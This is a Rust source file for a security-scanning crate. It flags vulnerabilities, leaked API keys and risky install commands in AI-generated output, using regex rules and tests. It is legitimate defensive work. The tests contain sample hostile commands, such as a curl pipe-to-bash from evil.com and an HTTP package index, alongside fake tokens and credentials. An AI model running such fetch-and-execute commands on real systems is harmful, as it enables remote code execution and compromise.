laminae-shadow 0.1.2

use thiserror::Error;

use crate::extractor::ExtractedBlock;
use crate::report::{AnalysisSource, VulnCategory, VulnFinding, VulnSeverity};
use crate::scanner;

#[derive(Error, Debug)]
pub enum AnalyzerError {
    #[error("Static analysis failed: {0}")]
    Static(String),
    #[error("LLM review failed: {0}")]
    LlmReview(String),
    #[error("Sandbox error: {0}")]
    Sandbox(String),
    #[error("Analyzer disabled or unavailable")]
    Disabled,
}

/// Trait for composable analysis stages.
/// Each implementation is independent, async, and fallible.
///
/// Implement this trait to add custom analysis stages to the Shadow pipeline.
#[allow(async_fn_in_trait)]
pub trait Analyzer: Send + Sync {
    /// Human-readable name for logging.
    fn name(&self) -> &'static str;

    /// Check if this analyzer can run.
    async fn is_available(&self) -> bool;

    /// Analyze output and return findings.
    async fn analyze(
        &self,
        ego_output: &str,
        code_blocks: &[ExtractedBlock],
    ) -> Result<Vec<VulnFinding>, AnalyzerError>;
}

/// Static pattern-based analyzer with vulnerability detection rules.
pub struct StaticAnalyzer {
    _extra_rules: Vec<ShadowRule>,
}

struct ShadowRule {
    _id: &'static str,
    category: VulnCategory,
    severity: VulnSeverity,
    pattern: &'static str,
    title: &'static str,
    description: &'static str,
    cwe: Option<u32>,
    remediation: &'static str,
}

/// Analyzer for dependency-related vulnerabilities in code output.
///
/// Detects known-vulnerable packages, typosquatting patterns, and
/// dangerous install commands that an LLM might suggest.
pub struct DependencyAnalyzer;

impl DependencyAnalyzer {
    pub fn new() -> Self {
        Self
    }
}

impl Default for DependencyAnalyzer {
    fn default() -> Self {
        Self::new()
    }
}

struct DepRule {
    pattern: &'static str,
    title: &'static str,
    description: &'static str,
    severity: VulnSeverity,
    cwe: Option<u32>,
    remediation: &'static str,
}

const DEP_RULES: &[DepRule] = &[
    DepRule {
        pattern: r#"(pip|pip3)\s+install\s+--index-url\s+http://"#,
        title: "Insecure package index (HTTP)",
        description: "Installing packages from an unencrypted HTTP source enables MITM attacks.",
        severity: VulnSeverity::High,
        cwe: Some(829),
        remediation: "Always use HTTPS for package indices.",
    },
    DepRule {
        pattern: r#"npm\s+install\s+--ignore-scripts\s+false"#,
        title: "NPM install with scripts enabled explicitly",
        description:
            "Enabling install scripts on untrusted packages risks arbitrary code execution.",
        severity: VulnSeverity::Medium,
        cwe: Some(829),
        remediation: "Audit packages before enabling install scripts.",
    },
    DepRule {
        pattern: r#"(event-stream|ua-parser-js|coa|rc|colors)\b.*\d+\.\d+\.\d+"#,
        title: "Previously compromised NPM package",
        description:
            "This package has a known supply chain attack history. Verify the version is safe.",
        severity: VulnSeverity::High,
        cwe: Some(506),
        remediation: "Pin to a verified safe version and audit the package.",
    },
    DepRule {
        pattern: r#"(urllib3|requests|django|flask|lodash|express)\s*[<>=]+\s*[\d.]+.*\b(0\.\d|1\.[0-5]\.)"#,
        title: "Potentially outdated dependency version",
        description: "Very old versions of popular packages often contain known vulnerabilities.",
        severity: VulnSeverity::Medium,
        cwe: Some(1104),
        remediation: "Update to the latest stable version.",
    },
    DepRule {
        pattern: r#"curl\s+.*\|\s*(sh|bash|python|node)"#,
        title: "Pipe-to-shell installation",
        description: "Downloading and executing scripts in one step bypasses all verification.",
        severity: VulnSeverity::Critical,
        cwe: Some(829),
        remediation: "Download first, verify checksum/signature, then execute.",
    },
    DepRule {
        pattern: r#"(git\+http://|git://)[^\s]+"#,
        title: "Git dependency over unencrypted protocol",
        description: "Git dependencies over HTTP or git:// are vulnerable to MITM.",
        severity: VulnSeverity::Medium,
        cwe: Some(319),
        remediation: "Use HTTPS or SSH for git dependencies.",
    },
];

impl Analyzer for DependencyAnalyzer {
    fn name(&self) -> &'static str {
        "dependency"
    }
    async fn is_available(&self) -> bool {
        true
    }

    async fn analyze(
        &self,
        ego_output: &str,
        code_blocks: &[ExtractedBlock],
    ) -> Result<Vec<VulnFinding>, AnalyzerError> {
        let mut findings = Vec::new();

        let targets: Vec<&str> = std::iter::once(ego_output)
            .chain(code_blocks.iter().map(|b| b.content.as_str()))
            .collect();

        for text in &targets {
            for rule in DEP_RULES {
                if let Ok(re) = regex::Regex::new(rule.pattern) {
                    for mat in re.find_iter(text) {
                        let line_num = text[..mat.start()].matches('\n').count() + 1;
                        findings.push(VulnFinding {
                            id: uuid_v4(),
                            category: VulnCategory::Unknown,
                            severity: rule.severity,
                            title: rule.title.to_string(),
                            description: rule.description.to_string(),
                            evidence: truncate_evidence(mat.as_str()),
                            line: Some(line_num),
                            cwe: rule.cwe,
                            remediation: rule.remediation.to_string(),
                            source: AnalysisSource::Static,
                        });
                    }
                }
            }
        }

        Ok(findings)
    }
}

/// Analyzer for secrets and credentials leaked in AI output.
///
/// Goes beyond simple password detection — catches API keys, tokens,
/// connection strings, and cloud credentials with format-specific patterns.
pub struct SecretsAnalyzer;

impl SecretsAnalyzer {
    pub fn new() -> Self {
        Self
    }
}

impl Default for SecretsAnalyzer {
    fn default() -> Self {
        Self::new()
    }
}

struct SecretRule {
    pattern: &'static str,
    title: &'static str,
    severity: VulnSeverity,
    remediation: &'static str,
}

const SECRET_RULES: &[SecretRule] = &[
    SecretRule {
        pattern: r#"ghp_[0-9a-zA-Z]{36}"#,
        title: "GitHub personal access token",
        severity: VulnSeverity::Critical,
        remediation:
            "Revoke the token at github.com/settings/tokens and use environment variables.",
    },
    SecretRule {
        pattern: r#"sk-[a-zA-Z0-9]{20}T3BlbkFJ[a-zA-Z0-9]{20}"#,
        title: "OpenAI API key",
        severity: VulnSeverity::Critical,
        remediation: "Rotate the key at platform.openai.com/api-keys.",
    },
    SecretRule {
        pattern: r#"sk-ant-api[a-zA-Z0-9_-]{80,}"#,
        title: "Anthropic API key",
        severity: VulnSeverity::Critical,
        remediation: "Rotate the key at console.anthropic.com/settings/keys.",
    },
    SecretRule {
        pattern: r#"xox[bpoas]-[0-9a-zA-Z-]{10,}"#,
        title: "Slack token",
        severity: VulnSeverity::Critical,
        remediation: "Revoke and regenerate the token in your Slack app settings.",
    },
    SecretRule {
        pattern: r#"(mongodb(\+srv)?://)[^\s"']+:[^\s"']+@"#,
        title: "MongoDB connection string with credentials",
        severity: VulnSeverity::Critical,
        remediation: "Use environment variables for database connection strings.",
    },
    SecretRule {
        pattern: r#"(postgres(ql)?|mysql|mssql)://[^\s"']+:[^\s"']+@"#,
        title: "Database connection string with credentials",
        severity: VulnSeverity::Critical,
        remediation: "Use environment variables for database connection strings.",
    },
    SecretRule {
        pattern: r#"(eyJ[a-zA-Z0-9_-]{20,}\.eyJ[a-zA-Z0-9_-]{20,}\.[a-zA-Z0-9_-]{20,})"#,
        title: "JWT token in code",
        severity: VulnSeverity::High,
        remediation: "Never hardcode JWT tokens. Generate them at runtime.",
    },
    SecretRule {
        pattern: r#"SG\.[a-zA-Z0-9_-]{22}\.[a-zA-Z0-9_-]{43}"#,
        title: "SendGrid API key",
        severity: VulnSeverity::Critical,
        remediation: "Revoke and rotate the key in SendGrid dashboard.",
    },
    SecretRule {
        pattern: r#"sk_live_[0-9a-zA-Z]{24,}"#,
        title: "Stripe live secret key",
        severity: VulnSeverity::Critical,
        remediation: "Rotate immediately at dashboard.stripe.com/apikeys.",
    },
    SecretRule {
        pattern: r#"AIza[0-9A-Za-z_-]{35}"#,
        title: "Google API key",
        severity: VulnSeverity::High,
        remediation: "Restrict or rotate the key in Google Cloud Console.",
    },
];

impl Analyzer for SecretsAnalyzer {
    fn name(&self) -> &'static str {
        "secrets"
    }
    async fn is_available(&self) -> bool {
        true
    }

    async fn analyze(
        &self,
        ego_output: &str,
        code_blocks: &[ExtractedBlock],
    ) -> Result<Vec<VulnFinding>, AnalyzerError> {
        let mut findings = Vec::new();

        let targets: Vec<&str> = std::iter::once(ego_output)
            .chain(code_blocks.iter().map(|b| b.content.as_str()))
            .collect();

        for text in &targets {
            for rule in SECRET_RULES {
                if let Ok(re) = regex::Regex::new(rule.pattern) {
                    for mat in re.find_iter(text) {
                        let line_num = text[..mat.start()].matches('\n').count() + 1;
                        // Redact the actual secret in evidence
                        let evidence = redact_secret(mat.as_str());
                        findings.push(VulnFinding {
                            id: uuid_v4(),
                            category: VulnCategory::HardcodedSecret,
                            severity: rule.severity,
                            title: rule.title.to_string(),
                            description: "Credential or secret found in AI output.".to_string(),
                            evidence,
                            line: Some(line_num),
                            cwe: Some(798),
                            remediation: rule.remediation.to_string(),
                            source: AnalysisSource::Static,
                        });
                    }
                }
            }
        }

        Ok(findings)
    }
}

/// Redact the middle of a secret, keeping only prefix for identification.
fn redact_secret(s: &str) -> String {
    if s.len() <= 10 {
        return format!("{}***", &s[..s.len().min(4)]);
    }
    format!("{}***{}", &s[..8], &s[s.len() - 4..])
}

const SHADOW_RULES: &[ShadowRule] = &[
    ShadowRule {
        _id: "sqli-string-concat",
        category: VulnCategory::SqlInjection,
        severity: VulnSeverity::Critical,
        pattern: r#"(SELECT|INSERT|UPDATE|DELETE|DROP)\s+.*\+\s*(user|input|param|req\.|request\.|args)"#,
        title: "SQL injection via string concatenation",
        description: "SQL query built by concatenating user-controlled input.",
        cwe: Some(89),
        remediation: "Use parameterized queries or an ORM.",
    },
    ShadowRule {
        _id: "sqli-format-string",
        category: VulnCategory::SqlInjection,
        severity: VulnSeverity::Critical,
        pattern: r#"(f"|f'|format!\(|\.format\().*(?:SELECT|INSERT|UPDATE|DELETE|DROP)"#,
        title: "SQL injection via format string",
        description:
            "SQL query constructed using format strings with potentially user-controlled values.",
        cwe: Some(89),
        remediation: "Use parameterized queries.",
    },
    ShadowRule {
        _id: "hardcoded-password",
        category: VulnCategory::HardcodedSecret,
        severity: VulnSeverity::High,
        pattern: r#"(?i)(password|passwd|secret|api_key|apikey|token|auth)\s*=\s*["'][^"']{8,}["']"#,
        title: "Hardcoded secret or credential",
        description: "A credential appears to be hardcoded in the source.",
        cwe: Some(798),
        remediation: "Use environment variables or a secrets manager.",
    },
    ShadowRule {
        _id: "hardcoded-aws-key",
        category: VulnCategory::HardcodedSecret,
        severity: VulnSeverity::Critical,
        pattern: r#"(?:AKIA|ASIA)[0-9A-Z]{16}"#,
        title: "AWS access key ID detected",
        description: "An AWS access key ID pattern was found in the code.",
        cwe: Some(798),
        remediation: "Remove the key, rotate it in AWS IAM, use IAM roles.",
    },
    ShadowRule {
        _id: "hardcoded-private-key",
        category: VulnCategory::HardcodedSecret,
        severity: VulnSeverity::Critical,
        pattern: r#"-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----"#,
        title: "Private key embedded in code",
        description: "A private key header was found.",
        cwe: Some(321),
        remediation: "Remove the key, rotate it, store securely.",
    },
    ShadowRule {
        _id: "path-traversal-user-input",
        category: VulnCategory::PathTraversal,
        severity: VulnSeverity::High,
        pattern: r#"(open|read|write|Path|PathBuf|fs\.|os\.path)\s*\(.*\.\.\/"#,
        title: "Potential path traversal",
        description: "File operation uses a path containing '../'.",
        cwe: Some(22),
        remediation: "Canonicalize paths and verify they remain within allowed directories.",
    },
    ShadowRule {
        _id: "xss-innerhtml",
        category: VulnCategory::XssReflected,
        severity: VulnSeverity::High,
        pattern: r#"(innerHTML|outerHTML|document\.write|v-html|dangerouslySetInnerHTML)\s*="#,
        title: "Potential XSS via unsafe HTML injection",
        description: "Direct HTML injection that may include unsanitized user input.",
        cwe: Some(79),
        remediation: "Use textContent, sanitize HTML with DOMPurify.",
    },
    ShadowRule {
        _id: "unsafe-deserialize",
        category: VulnCategory::InsecureDeserialization,
        severity: VulnSeverity::High,
        pattern: r#"(pickle\.loads?|yaml\.load\(|yaml\.unsafe_load|Marshal\.load|unserialize)\s*\("#,
        title: "Insecure deserialization",
        description: "Deserializing untrusted data can lead to RCE.",
        cwe: Some(502),
        remediation: "Use safe deserialization (yaml.safe_load, JSON).",
    },
    ShadowRule {
        _id: "weak-hash-md5",
        category: VulnCategory::CryptoWeakness,
        severity: VulnSeverity::Medium,
        pattern: r#"(?i)(md5|sha1)\s*[.(]"#,
        title: "Weak hash algorithm",
        description: "MD5 and SHA-1 are cryptographically broken.",
        cwe: Some(328),
        remediation: "Use SHA-256 or better.",
    },
    ShadowRule {
        _id: "infinite-loop-risk",
        category: VulnCategory::ResourceAbuse,
        severity: VulnSeverity::Medium,
        pattern: r#"while\s*\(\s*(true|1|True)\s*\)"#,
        title: "Potential infinite loop",
        description: "Unbounded loop that may consume CPU indefinitely.",
        cwe: Some(835),
        remediation: "Add a maximum iteration count or timeout.",
    },
];

impl StaticAnalyzer {
    pub fn new() -> Self {
        Self {
            _extra_rules: Vec::new(),
        }
    }
}

impl Default for StaticAnalyzer {
    fn default() -> Self {
        Self::new()
    }
}

impl Analyzer for StaticAnalyzer {
    fn name(&self) -> &'static str {
        "static"
    }
    async fn is_available(&self) -> bool {
        true
    }

    async fn analyze(
        &self,
        ego_output: &str,
        code_blocks: &[ExtractedBlock],
    ) -> Result<Vec<VulnFinding>, AnalyzerError> {
        let mut findings = Vec::new();

        // Stage 1: Run embedded scanner on each code block
        for block in code_blocks {
            let filename = format!("output.{}", block.language.as_deref().unwrap_or("txt"));
            let scan_findings = scanner::scan_content(&filename, &block.content);

            for sf in scan_findings {
                findings.push(VulnFinding {
                    id: uuid_v4(),
                    category: map_scanner_category(&sf.rule_id),
                    severity: map_scanner_severity(sf.severity),
                    title: sf.message.clone(),
                    description: sf.message,
                    evidence: sf.evidence,
                    line: Some(sf.line),
                    cwe: None,
                    remediation: "Review and fix the flagged pattern.".to_string(),
                    source: AnalysisSource::Static,
                });
            }
        }

        // Stage 2: Shadow-specific rules on full output + code blocks
        let targets: Vec<(&str, &str)> = std::iter::once(("output", ego_output))
            .chain(code_blocks.iter().map(|b| {
                let lang = b.language.as_deref().unwrap_or("code");
                (lang, b.content.as_str())
            }))
            .collect();

        for (source_name, text) in &targets {
            for rule in SHADOW_RULES {
                if let Ok(re) = regex::Regex::new(rule.pattern) {
                    for mat in re.find_iter(text) {
                        let line_num = text[..mat.start()].matches('\n').count() + 1;
                        let evidence = truncate_evidence(mat.as_str());

                        findings.push(VulnFinding {
                            id: uuid_v4(),
                            category: rule.category,
                            severity: rule.severity,
                            title: rule.title.to_string(),
                            description: format!("[{}] {}", source_name, rule.description),
                            evidence,
                            line: Some(line_num),
                            cwe: rule.cwe,
                            remediation: rule.remediation.to_string(),
                            source: AnalysisSource::Static,
                        });
                    }
                }
            }
        }

        // Deduplicate
        findings.sort_by(|a, b| {
            a.category
                .to_string()
                .cmp(&b.category.to_string())
                .then(a.evidence.cmp(&b.evidence))
        });
        findings.dedup_by(|a, b| a.category == b.category && a.evidence == b.evidence);

        Ok(findings)
    }
}

fn map_scanner_severity(sev: scanner::Severity) -> VulnSeverity {
    match sev {
        scanner::Severity::Info => VulnSeverity::Low,
        scanner::Severity::Warn => VulnSeverity::Medium,
        scanner::Severity::Critical => VulnSeverity::High,
    }
}

fn map_scanner_category(rule_id: &str) -> VulnCategory {
    if rule_id.contains("eval") || rule_id.contains("exec") || rule_id.contains("spawn") {
        VulnCategory::CommandInjection
    } else if rule_id.contains("keychain")
        || rule_id.contains("ssh")
        || rule_id.contains("password")
    {
        VulnCategory::HardcodedSecret
    } else if rule_id.contains("reverse-shell") || rule_id.contains("crypto-mining") {
        VulnCategory::DataExfiltration
    } else if rule_id.contains("sudo") || rule_id.contains("chmod") {
        VulnCategory::PrivilegeEscalation
    } else if rule_id.contains("curl") || rule_id.contains("webhook") || rule_id.contains("dns") {
        VulnCategory::DataExfiltration
    } else if rule_id.contains("base64") || rule_id.contains("hex") || rule_id.contains("char-code")
    {
        VulnCategory::CommandInjection
    } else {
        VulnCategory::Unknown
    }
}

fn truncate_evidence(s: &str) -> String {
    let trimmed = s.trim();
    if trimmed.len() > 150 {
        format!("{}...", &trimmed[..150])
    } else {
        trimmed.to_string()
    }
}

fn uuid_v4() -> String {
    use std::sync::atomic::{AtomicU64, Ordering};
    static COUNTER: AtomicU64 = AtomicU64::new(0);
    let ts = std::time::SystemTime::now()
        .duration_since(std::time::UNIX_EPOCH)
        .unwrap_or_default()
        .as_nanos();
    let count = COUNTER.fetch_add(1, Ordering::Relaxed);
    format!("shd-{:x}-{:04x}", ts, count)
}

#[cfg(test)]
mod tests {
    use super::*;

    fn make_block(lang: &str, content: &str) -> ExtractedBlock {
        ExtractedBlock {
            language: Some(lang.to_string()),
            content: content.to_string(),
            char_offset: 0,
        }
    }

    #[tokio::test]
    async fn test_detects_sql_injection() {
        let analyzer = StaticAnalyzer::new();
        let blocks = vec![make_block(
            "python",
            r#"query = "SELECT * FROM users WHERE id = " + user_input"#,
        )];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings
            .iter()
            .any(|f| f.category == VulnCategory::SqlInjection));
    }

    #[tokio::test]
    async fn test_detects_hardcoded_password() {
        let analyzer = StaticAnalyzer::new();
        let blocks = vec![make_block(
            "python",
            r#"password = "supersecretpassword123""#,
        )];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings
            .iter()
            .any(|f| f.category == VulnCategory::HardcodedSecret));
    }

    #[tokio::test]
    async fn test_clean_code() {
        let analyzer = StaticAnalyzer::new();
        let blocks = vec![make_block(
            "rust",
            "fn greet() -> String { \"hello\".to_string() }",
        )];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings.is_empty());
    }

    #[tokio::test]
    async fn test_detects_xss() {
        let analyzer = StaticAnalyzer::new();
        let blocks = vec![make_block("js", "element.innerHTML = userInput;")];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings
            .iter()
            .any(|f| f.category == VulnCategory::XssReflected));
    }

    #[tokio::test]
    async fn test_detects_eval_via_scanner() {
        let analyzer = StaticAnalyzer::new();
        let blocks = vec![make_block("js", "eval(userInput);")];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(!findings.is_empty());
    }

    // ── DependencyAnalyzer tests ──

    #[tokio::test]
    async fn test_dep_detects_pipe_to_shell() {
        let analyzer = DependencyAnalyzer::new();
        let blocks = vec![make_block("sh", "curl https://evil.com/setup.sh | bash")];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings.iter().any(|f| f.title.contains("Pipe-to-shell")));
    }

    #[tokio::test]
    async fn test_dep_detects_insecure_index() {
        let analyzer = DependencyAnalyzer::new();
        let blocks = vec![make_block(
            "sh",
            "pip install --index-url http://evil.com/simple package",
        )];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings
            .iter()
            .any(|f| f.title.contains("Insecure package index")));
    }

    #[tokio::test]
    async fn test_dep_clean() {
        let analyzer = DependencyAnalyzer::new();
        let blocks = vec![make_block("sh", "pip install requests")];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings.is_empty());
    }

    // ── SecretsAnalyzer tests ──

    #[tokio::test]
    async fn test_secrets_detects_github_token() {
        let analyzer = SecretsAnalyzer::new();
        let blocks = vec![make_block(
            "py",
            "token = \"ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef1234\"",
        )];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings.iter().any(|f| f.title.contains("GitHub")));
        // Verify the token is redacted in evidence
        assert!(findings[0].evidence.contains("***"));
    }

    #[tokio::test]
    async fn test_secrets_detects_stripe_key() {
        let analyzer = SecretsAnalyzer::new();
        // Build the test key dynamically to avoid triggering GitHub push protection
        let key = format!("sk_live_{}", "5".repeat(24));
        let code = format!("const key = \"{key}\"");
        let blocks = vec![make_block("js", &code)];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings.iter().any(|f| f.title.contains("Stripe")));
    }

    #[tokio::test]
    async fn test_secrets_detects_db_connection() {
        let analyzer = SecretsAnalyzer::new();
        let blocks = vec![make_block(
            "py",
            "db = \"postgresql://admin:password123@prod.db.com:5432/main\"",
        )];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings
            .iter()
            .any(|f| f.title.contains("Database connection")));
    }

    #[tokio::test]
    async fn test_secrets_clean() {
        let analyzer = SecretsAnalyzer::new();
        let blocks = vec![make_block("py", "x = os.environ['API_KEY']")];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings.is_empty());
    }

    #[test]
    fn test_redact_secret() {
        assert_eq!(
            redact_secret("ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZab"),
            "ghp_ABCD***YZab"
        );
        assert_eq!(redact_secret("short"), "shor***");
    }
}